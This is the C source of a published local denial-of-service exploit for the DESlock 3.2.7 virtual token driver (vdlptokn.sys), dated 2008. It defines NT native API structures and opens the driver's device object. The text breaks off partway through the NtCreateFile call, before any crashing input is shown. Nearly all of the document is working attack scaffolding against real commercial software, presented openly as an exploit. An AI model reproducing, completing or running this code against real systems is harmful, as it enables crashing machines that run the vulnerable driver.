DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit

////////////////////////////////////////////////////////////////////////////////////
// ---------------------------------------------------------------------------- //
// | | //
// | Data Encryption Systems Ltd. - http://www.deslock.com/ | //
// | Data Encryption Systems DESlock - 3.2.7 | //
// | DESlock Virtual Token Driver - 1.0.2.43 - vdlptokn.sys | //
// | DoS Exploit | //
// | | //
// ---------------------------------------------------------------------------- //
// | | //
// | NT Internals - http://www.ntinternals.org/ | //
// | alex ntinternals org | //
// | 21 September 2008 | //
// | | //
// ---------------------------------------------------------------------------- //
//////////////////////////////////////////////////////////////////////////////////// #include <stdio.h>
#include <stdlib.h>
#include <windows.h> #define IMP_VOID __declspec(dllimport) VOID __stdcall
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall #define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003 typedef ULONG NTSTATUS; typedef struct _UNICODE_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PWSTR Buffer;
/* 0x08 */
}
UNICODE_STRING,
*PUNICODE_STRING,
**PPUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES
{
/* 0x00 */ ULONG Length;
/* 0x04 */ HANDLE RootDirectory;
/* 0x08 */ PUNICODE_STRING ObjectName;
/* 0x0C */ ULONG Attributes;
/* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
/* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
/* 0x18 */
}
OBJECT_ATTRIBUTES,
*POBJECT_ATTRIBUTES,
**PPOBJECT_ATTRIBUTES; typedef struct _IO_STATUS_BLOCK
{
union
{
/* 0x00 */ NTSTATUS Status;
/* 0x00 */ PVOID Pointer;
}; /* 0x04 */ ULONG Information;
/* 0x08 */
}
IO_STATUS_BLOCK,
*PIO_STATUS_BLOCK,
**PPIO_STATUS_BLOCK; typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
); IMP_VOID RtlInitUnicodeString
(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
); IMP_VOID RtlFreeUnicodeString
(
IN PUNICODE_STRING UnicodeString
); IMP_SYSCALL NtCreateFile
(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
); IMP_SYSCALL NtDeviceIoControlFile
(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
); IMP_SYSCALL NtClose
(
IN HANDLE Handle
); IMP_SYSCALL NtDelayExecution
(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Interval
); int __cdecl main(int argc, char **argv)
{
NTSTATUS NtStatus;

HANDLE DeviceHandle;

UNICODE_STRING DeviceName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
LARGE_INTEGER Interval; ///////////////////////////////////////////////////////////////////////////////////////////////

system("cls");

printf( " ---------------------------------------------------------------------------- \n"
" | |\n"
" | Data Encryption Systems Ltd. - http://www.deslock.com/ |\n"
" | Data Encryption Systems DESlock - 3.2.7 |\n"
" | DESlock Virtual Token Driver - 1.0.2.43 - vdlptokn.sys |\n"
" | DoS Exploit |\n"
" | |\n"
" ---------------------------------------------------------------------------- \n"
" | |\n"
" | NT Internals - http://www.ntinternals.org/ |\n"
" | alex ntinternals org |\n"
" | 21 September 2008 |\n"
" | |\n"
" ---------------------------------------------------------------------------- \n\n"); ///////////////////////////////////////////////////////////////////////////////////////////////

RtlInitUnicodeString(&DeviceName, L"\\Device\\DLPTokenWalter0"); ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA | FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions